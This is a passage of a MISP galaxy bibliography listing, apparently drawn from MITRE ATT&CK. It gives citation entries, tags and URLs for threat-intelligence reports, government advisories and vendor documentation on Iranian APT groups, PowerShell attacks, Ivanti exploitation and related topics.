The tag is: *misp-galaxy:references="Huntress INC Ransomware August 11 2023"*

Table 21317. Table References

Links
https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity

inv_ps_attacks

Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.

The tag is: *misp-galaxy:references="inv_ps_attacks"*

Table 21318. Table References

Links
https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/

Kazanciyan 2014

Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks [slides]. Retrieved November 3, 2014.

The tag is: *misp-galaxy:references="Kazanciyan 2014"*

Table 21319. Table References

Links
https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf

Beek Use of VHD Dec 2020

Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Beek Use of VHD Dec 2020"*

Table 21320. Table References

Links
https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316

ESET InvisiMole June 2018

Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.

The tag is: *misp-galaxy:references="ESET InvisiMole June 2018"*

Table 21321. Table References

Links
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/

ESET InvisiMole June 2020

Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.

The tag is: *misp-galaxy:references="ESET InvisiMole June 2020"*

Table 21322. Table References

Links

https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

GitHub OmerYa Invisi-Shell

Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="GitHub OmerYa Invisi-Shell"*

Table 21323. Table References

Links
https://github.com/OmerYa/Invisi-Shell

Invoke-DOSfuscation

Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Invoke-DOSfuscation"*

Table 21324. Table References

Links
https://github.com/danielbohannon/Invoke-DOSfuscation

MicrosoftLearn January 1 2024

MicrosoftLearn. (2024, January 1). Invoke-Expression (Microsoft.PowerShell.Utility) - PowerShell. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="MicrosoftLearn January 1 2024"*

Table 21325. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2

PowerSploit Invoke Kerberoast

Schroeder, W. & Hart M. (2016, October 31). Invoke-Kerberoast. Retrieved March 23, 2018.

The tag is: *misp-galaxy:references="PowerSploit Invoke Kerberoast"*

Table 21326. Table References

Links
https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/

Empire InvokeKerberoast Oct 2016

EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.

The tag is: *misp-galaxy:references="Empire InvokeKerberoast Oct 2016"*

Table 21327. Table References

Links
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Github PowerSploit Ninjacopy

Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.

The tag is: *misp-galaxy:references="Github PowerSploit Ninjacopy"*

Table 21328. Table References

Links
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Invoke-Obfuscation

Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Invoke-Obfuscation"*

Table 21329. Table References

Links
https://github.com/danielbohannon/Invoke-Obfuscation

GitHub Invoke-Obfuscation

Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.

The tag is: *misp-galaxy:references="GitHub Invoke-Obfuscation"*

Table 21330. Table References

Links
https://github.com/danielbohannon/Invoke-Obfuscation

GitHub PSImage

Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="GitHub PSImage"*

Table 21331. Table References

Links
https://github.com/peewpw/Invoke-PSImage

GitHub Invoke-PSImage

Adams, B. (2017, December 17). Invoke-PSImage. Retrieved April 10, 2018.

The tag is: *misp-galaxy:references="GitHub Invoke-PSImage"*

Table 21332. Table References

Links
https://github.com/peewpw/Invoke-PSImage

GitHub - PowerSploit Invoke-Shellcode

PowerShellMafia. (2016, December 14). Invoke-Shellcode. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="GitHub - PowerSploit Invoke-Shellcode"*

Table 21333. Table References

Links
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1

Wikipedia Xen

Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.

The tag is: *misp-galaxy:references="Wikipedia Xen"*

Table 21334. Table References

Links
http://en.wikipedia.org/wiki/Xen

GitHub July 29 2019

Avast. (2019, July 29). iocBobik at master · avastioc. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="GitHub July 29 2019"*

Table 21335. Table References

Links
https://github.com/avast/ioc/tree/master/Bobik

ORB Mandiant

Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.

The tag is: *misp-galaxy:references="ORB Mandiant"*

Table 21336. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks

iOS URL Scheme

Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="iOS URL Scheme"*

Table 21337. Table References

Links
https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html

TechNet Ipconfig

Microsoft. (n.d.). Ipconfig. Retrieved April 17, 2016.

The tag is: *misp-galaxy:references="TechNet Ipconfig"*

Table 21338. Table References

Links
https://technet.microsoft.com/en-us/library/bb490921.aspx

cisco_ip_ssh_pubkey_ch_cmd

Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="cisco_ip_ssh_pubkey_ch_cmd"*

Table 21339. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478

Symantec Chafer Dec 2015

Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="Symantec Chafer Dec 2015"*

Table 21340. Table References

Links
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

U.S. CISA Pioneer Kitten August 28 2024

Cybersecurity and Infrastructure Security Agency. (2024, August 28). Iran-based Cyber Actors Enabling Ransomware Attacks on US Organizations. Retrieved August 29, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Pioneer Kitten August 28 2024"*

Table 21341. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a

CISA AA20-259A Iran-Based Actor September 2020

CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.

The tag is: *misp-galaxy:references="CISA AA20-259A Iran-Based Actor September 2020"*

Table 21342. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa20-259a

U.S. CISA Iran Voter Data November 3 2020

Cybersecurity and Infrastructure Security Agency. (2020, November 3). Iranian Advanced Persistent Threat Actor Identified Obtaining Voter Registration Data. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Iran Voter Data November 3 2020"*

Table 21343. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-304a

ClearSky MuddyWater June 2019

ClearSky. (2019, June). Iranian APT group 'MuddyWater' Adds Exploits to Their Arsenal. Retrieved May 14, 2020.

The tag is: *misp-galaxy:references="ClearSky MuddyWater June 2019"*

Table 21344. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf

Talos MuddyWater Jan 2022

Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.

The tag is: *misp-galaxy:references="Talos MuddyWater Jan 2022"*

Table 21345. Table References

Links
https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html

TAG APT42

Google Threat Analysis Group. (2024, August 14). Iranian backed group steps up phishing campaigns against Israel, U.S.. Retrieved October 9, 2024.

The tag is: *misp-galaxy:references="TAG APT42"*

Table 21346. Table References

Links
https://blog.google/threat-analysis-group/iranian-backed-group-steps-up-phishing-campaigns-against-israel-us/

Google TAG APT42 August 14 2024

Google Threat Analysis Group. (2024, August 14). Iranian backed group steps up phishing campaigns against Israel, U.S.. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="Google TAG APT42 August 14 2024"*

Table 21347. Table References

Links
https://blog.google/threat-analysis-group/iranian-backed-group-steps-up-phishing-campaigns-against-israel-us/

BitDefender Chafer May 2020

Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.

The tag is: *misp-galaxy:references="BitDefender Chafer May 2020"*

Table 21348. Table References

Links
https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/

elliptic.co June 18 2025

Elliptic. (2025, June 18). Iranian crypto exchange Nobitex hacked for over $90 million by pro-Israel group. Retrieved June 20, 2025.

The tag is: *misp-galaxy:references="elliptic.co June 18 2025"*

Table 21349. Table References

Links
https://www.elliptic.co/blog/iranian-crypto-exchange-nobitex-hacked-pro-israel-group

U.S. CISA Iranian Actors Critical Infrastructure October 16 2024

Cybersecurity and Infrastructure Security Agency. (2024, October 16). Iranian Cyber Actors' Brute Force and Credential Access Activity Compromises Critical Infrastructure Organizations. Retrieved October 17, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Iranian Actors Critical Infrastructure October 16 2024"*

Table 21350. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-290a

RecordedFuture IranianResponse 2020

INSIKT GROUP. (2020, January 7). Iranian Cyber Response to Death of IRGC Head Would Likely Use Reported TTPs and Previous Access. Retrieved May 22, 2024.

The tag is: *misp-galaxy:references="RecordedFuture IranianResponse 2020"*

Table 21351. Table References

Links
https://www.recordedfuture.com/blog/iranian-cyber-response

ClearSky Dream Job November 12 2024

ClearSky Research Team. (2024, November 12). Iranian “Dream Job” campaign. Retrieved November 13, 2024.

The tag is: *misp-galaxy:references="ClearSky Dream Job November 12 2024"*

Table 21352. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2024/11/Iranian-Dream-Job-ver1.pdf

DHS CISA AA22-055A MuddyWater February 2022

FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.

The tag is: *misp-galaxy:references="DHS CISA AA22-055A MuddyWater February 2022"*

Table 21353. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a

U.S. CISA Advisory November 25 2022

Cybersecurity and Infrastructure Security Agency. (2022, November 25). Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Advisory November 25 2022"*

Table 21354. Table References

Links

https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-320a

U.S. CISA Iranian Government Actors November 19 2021

Cybersecurity and Infrastructure Security Agency. (2021, November 19). Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Iranian Government Actors November 19 2021"*

Table 21355. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-321a

NEWSCASTER2014

Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="NEWSCASTER2014"*

Table 21356. Table References

Links
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

CYBERCOM Iranian Intel Cyber January 2022

Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="CYBERCOM Iranian Intel Cyber January 2022"*

Table 21357. Table References

Links
https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/

U.S. CISA IRGC Actors September 14 2022

Cybersecurity and Infrastructure Security Agency. (2022, September 14). Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="U.S. CISA IRGC Actors September 14 2022"*

Table 21358. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-257a

Secureworks Cobalt Gypsy Feb 2017

Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.

The tag is: *misp-galaxy:references="Secureworks Cobalt Gypsy Feb 2017"*

Table 21359. Table References

Links
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations

Proofpoint Iranian Aligned Attacks JAN 2020

Proofpoint. (2020, January 10). Iranian State-Sponsored and Aligned Attacks: What You Need to Know and Steps to Protect Yourself. Retrieved January 16, 2025.

The tag is: *misp-galaxy:references="Proofpoint Iranian Aligned Attacks JAN 2020"*

Table 21360. Table References

Links
https://www.proofpoint.com/us/corporate-blog/post/iranian-state-sponsored-and-aligned-attacks-what-you-need-know-and-steps-protect

ClearSky OilRig Jan 2017

ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.

The tag is: *misp-galaxy:references="ClearSky OilRig Jan 2017"*

Table 21361. Table References

Links
http://www.clearskysec.com/oilrig/

FireEye MuddyWater Mar 2018

Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="FireEye MuddyWater Mar 2018"*

Table 21362. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html

Check Point APT34 April 2021

Check Point. (2021, April 8). Iran's APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.

The tag is: *misp-galaxy:references="Check Point APT34 April 2021"*

Table 21363. Table References

Links
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/

CyberScoop June 17 2025

Matt Kapko. (2025, June 17). Iran's Bank Sepah disrupted by cyberattack claimed by pro-Israel hacktivist group. Retrieved June 20, 2025.

The tag is: *misp-galaxy:references="CyberScoop June 17 2025"*

Table 21364. Table References

Links
https://cyberscoop.com/iran-bank-sepah-cyberattack/

Microsoft Iran Cyber 2023

Microsoft Threat Intelligence. (2023, May 2). Iran turning to cyber-enabled influence operations for greater effect. Retrieved May 21, 2024.

The tag is: *misp-galaxy:references="Microsoft Iran Cyber 2023"*

Table 21365. Table References

Links
https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/05/Iran-turning-to-cyber-enabled-influence-operations-for-greater-effect-05022023.pdf

Dark Reading APT39 JAN 2019

Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May

22, 2020.

The tag is: *misp-galaxy:references="Dark Reading APT39 JAN 2019"*

Table 21366. Table References

Links
https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764

U.S. CISA IRGC-Affiliated PLC Activity December 2023

Cybersecurity and Infrastructure Security Agency. (2023, December 1). IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including U.S. Water and Wastewater Systems Facilities. Retrieved December 5, 2023.

The tag is: *misp-galaxy:references="U.S. CISA IRGC-Affiliated PLC Activity December 2023"*

Table 21367. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a

Secureworks IRON HEMLOCK Profile

Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.

The tag is: *misp-galaxy:references="Secureworks IRON HEMLOCK Profile"*

Table 21368. Table References

Links
http://www.secureworks.com/research/threat-profiles/iron-hemlock

Secureworks IRON HUNTER Profile

Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022.

The tag is: *misp-galaxy:references="Secureworks IRON HUNTER Profile"*

Table 21369. Table References

Links
http://www.secureworks.com/research/threat-profiles/iron-hunter

Secureworks IRON LIBERTY

Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="Secureworks IRON LIBERTY"*

Table 21370. Table References

Links
https://www.secureworks.com/research/threat-profiles/iron-liberty

Unit 42 IronNetInjector February 2021

Reichel, D. (2021, February 19). IronNetInjector: Turla's New Malware Loading Tool. Retrieved February 24, 2021.

The tag is: *misp-galaxy:references="Unit 42 IronNetInjector February 2021"*

Table 21371. Table References

Links
https://unit42.paloaltonetworks.com/ironnetinjector/

Secureworks IRON RITUAL Profile

Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.

The tag is: *misp-galaxy:references="Secureworks IRON RITUAL Profile"*

Table 21372. Table References

Links
https://www.secureworks.com/research/threat-profiles/iron-ritual

Trend Micro Iron Tiger April 2021

Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.

The tag is: *misp-galaxy:references="Trend Micro Iron Tiger April 2021"*

Table 21373. Table References

Links
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

Lunghi Iron Tiger Linux

Daniel Lunghi. (2023, March 1). Iron Tiger's SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.

The tag is: *misp-galaxy:references="Lunghi Iron Tiger Linux"*

Table 21374. Table References

Links
https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html

Secureworks IRON TILDEN Profile

Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.

The tag is: *misp-galaxy:references="Secureworks IRON TILDEN Profile"*

Table 21375. Table References

Links
https://www.secureworks.com/research/threat-profiles/iron-tilden

Secureworks IRON TWILIGHT Profile

Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022.

The tag is: *misp-galaxy:references="Secureworks IRON TWILIGHT Profile"*

Table 21376. Table References

Links
https://www.secureworks.com/research/threat-profiles/iron-twilight

Secureworks IRON TWILIGHT Active Measures March 2017

Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.

The tag is: *misp-galaxy:references="Secureworks IRON TWILIGHT Active Measures March 2017"*

Table 21377. Table References

Links
https://www.secureworks.com/research/iron-twilight-supports-active-measures

Secureworks IRON VIKING

Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.

The tag is: *misp-galaxy:references="Secureworks IRON VIKING"*

Table 21378. Table References

Links
https://www.secureworks.com/research/threat-profiles/iron-viking

ESET Hermetic Wizard March 2022

ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022.

The tag is: *misp-galaxy:references="ESET Hermetic Wizard March 2022"*

Table 21379. Table References

Links
https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine

Microsoft ISAPICGIRestriction 2016

Microsoft. (2016, September 26). ISAPI/CGI Restrictions <isapiCgiRestriction>. Retrieved June 3, 2021.

The tag is: *misp-galaxy:references="Microsoft ISAPICGIRestriction 2016"*

Table 21380. Table References

Links
https://docs.microsoft.com/en-us/iis/configuration/system.webserver/security/isapicgirestriction/

Microsoft ISAPI Extension Overview 2017

Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.

The tag is: *misp-galaxy:references="Microsoft ISAPI Extension Overview 2017"*

Table 21381. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)

Microsoft ISAPI Filter Overview 2017

Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.

The tag is: *misp-galaxy:references="Microsoft ISAPI Filter Overview 2017"*

Table 21382. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)

welivesecurity TCC

Marc-Etienne M.Léveillé. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.

The tag is: *misp-galaxy:references="welivesecurity TCC"*

Table 21383. Table References

Links
https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/

iSight Sandworm Oct 2014

Ward, S.. (2014, October 14). iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="iSight Sandworm Oct 2014"*

Table 21384. Table References

Links
https://web.archive.org/web/20160503234007/https:/www.isightpartners.com/2014/10/cve-2014-4114/

DataBreaches KillSec December 8 2024

Dissent. (2024, December 8). Is KillSec3 Trying to Extort Victims Using Publicly Leaked Data?. Retrieved February 14, 2024.

The tag is: *misp-galaxy:references="DataBreaches KillSec December 8 2024"*

Table 21385. Table References

Links
https://databreaches.net/2024/12/08/is-killsec3-trying-to-extort-victims-using-publicly-leaked-data/

CrySyS Blog TeamSpy

CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat' tolko s razreshenija S-a. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="CrySyS Blog TeamSpy"*

Table 21386. Table References

Links
https://blog.crysys.hu/2013/03/teamspy/

NYTStuxnet

William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="NYTStuxnet"*

Table 21387. Table References

Links
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html

Microsoft Issues with BITS July 2011

Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.

The tag is: *misp-galaxy:references="Microsoft Issues with BITS July 2011"*

Table 21388. Table References

Links
https://technet.microsoft.com/library/dd939934.aspx

Ready.gov IT DRP

Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.

The tag is: *misp-galaxy:references="Ready.gov IT DRP"*

Table 21389. Table References

Links
https://www.ready.gov/business/implementation/IT

Security Intelligence ITG08 April 2020

Villadsen, O. (2020, April 7). ITG08 (aka FIN6) Partners With TrickBot Gang, Uses Anchor Framework. Retrieved October 8, 2020.

The tag is: *misp-galaxy:references="Security Intelligence ITG08 April 2020"*

Table 21390. Table References

Links

https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/

Talos Frankenstein June 2019

Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.

The tag is: *misp-galaxy:references="Talos Frankenstein June 2019"*

Table 21391. Table References

Links
https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html

AdSecurity Forging Trust Tickets

Metcalf, S. (2015, July 15). It's All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.

The tag is: *misp-galaxy:references="AdSecurity Forging Trust Tickets"*

Table 21392. Table References

Links
https://adsecurity.org/?p=1588

It's Always DarkGate Before the Dawn

Micah Babinski. (2020, October 16). It's Always DarkGate Before the Dawn. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="It's Always DarkGate Before the Dawn"*

Table 21393. Table References

Links
https://micahbabinski.medium.com/its-always-darkgate-before-the-dawn-d6cf1ec56f7e

huntress.com November 14 2024

Team Huntress. (2024, November 14). It's Not Safe To Pay SafePay. Retrieved April 14, 2025.

The tag is: *misp-galaxy:references="huntress.com November 14 2024"*

Table 21394. Table References

Links

https://www.huntress.com/blog/its-not-safe-to-pay-safepay

CitizenLab KeyBoy Nov 2016

Hulcoop, A., et al. (2016, November 17). It's Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.

The tag is: *misp-galaxy:references="CitizenLab KeyBoy Nov 2016"*

Table 21395. Table References

Links
https://citizenlab.ca/2016/11/parliament-keyboy/

Twitter ItsReallyNick Status Update APT32 PubPrn

Carr, N. (2017, December 22). ItsReallyNick Status Update. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter ItsReallyNick Status Update APT32 PubPrn"*

Table 21396. Table References

Links
https://x.com/ItsReallyNick/status/944321013084573697

orangecyberdefense.com February 9 2024

orangecyberdefense.com. (2024, February 9). Ivanti Connect Secure Journey to the core of the DSLog backdoor. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="orangecyberdefense.com February 9 2024"*

Table 21397. Table References

Links
https://www.orangecyberdefense.com/global/blog/research/ivanti-connect-secure-journey-to-the-core-of-the-dslog-backdoor

Volexity Ivanti Global Exploitation January 2024

Gurkok, C. et al. (2024, January 15). Ivanti Connect Secure VPN Exploitation Goes Global. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="Volexity Ivanti Global Exploitation January 2024"*

Table 21398. Table References

Links

https://www.volexity.com/blog/2024/01/15/ivanti-connect-secure-vpn-exploitation-goes-global/

Google Cloud January 8 2025

Mandiant. (2025, January 8). Ivanti Connect Secure VPN Targeted in New Zero-Day Exploitation . Retrieved January 10, 2025.

The tag is: *misp-galaxy:references="Google Cloud January 8 2025"*

Table 21399. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day

Trend Micro IXESHE 2012

Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.

The tag is: *misp-galaxy:references="Trend Micro IXESHE 2012"*

Table 21400. Table References

Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf

James TermServ DLL

James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="James TermServ DLL"*

Table 21401. Table References

Links
https://x.com/james_inthe_box/status/1150495335812177920

Jamfsoftware 3 29 2024

March. (2024, March 29). Jamf Threat Labs dissects infostealer malware. Retrieved April 5, 2024.

The tag is: *misp-galaxy:references="Jamfsoftware 3 29 2024"*

Table 21402. Table References

Links
https://www.jamf.com/blog/infostealers-pose-threat-to-macos/

JamPlus manual

Perforce Software, Inc.. (n.d.). JamPlus manual: Quick Start Guide. Retrieved March 21, 2025.

The tag is: *misp-galaxy:references="JamPlus manual"*

Table 21403. Table References

Links
https://jamplus.github.io/jamplus/quick_start.html

Symantec Cicada November 2020

Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="Symantec Cicada November 2020"*

Table 21404. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage

Wikipedia JavaScript

Wikimedia Foundation, Inc.. (n.d.). JavaScript. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Wikipedia JavaScript"*

Table 21405. Table References

Links
https://en.wikipedia.org/wiki/JavaScript

Heimdal Security December 2 2020

Andra Zaharia. (2020, December 2). JavaScript Malware – a Growing Trend Explained for Everyday Users. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Heimdal Security December 2 2020"*

Table 21406. Table References

Links
https://heimdalsecurity.com/blog/javascript-malware-explained/

Carbon Black JCry May 2019

Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.

The tag is: *misp-galaxy:references="Carbon Black JCry May 2019"*

Table 21407. Table References

Links
https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/

ClearSky CopyKittens March 2017

ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.

The tag is: *misp-galaxy:references="ClearSky CopyKittens March 2017"*

Table 21408. Table References

Links
http://www.clearskysec.com/copykitten-jpost/

Joe Sandbox 23893f035f8564dfea5030b9fdd54120d96072bb

Joe Sandbox. (n.d.). Joe Sandbox 23893f035f8564dfea5030b9fdd54120d96072bb. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="Joe Sandbox 23893f035f8564dfea5030b9fdd54120d96072bb"*

Table 21409. Table References

Links
https://www.joesandbox.com/analysis/1280109/0/html

Joe Slowik August 2019

Joe Slowik. (2019, August 15) CRASHOVERRIDE: Reassessing the 2016 Ukraine Electric Power Event as a Protection-Focused Attack. Retrieved October 22, 2019

The tag is: *misp-galaxy:references="Joe Slowik August 2019"*

Table 21410. Table References

Links
https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf

US District Court of DC Phosphorus Complaint 2019

US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.

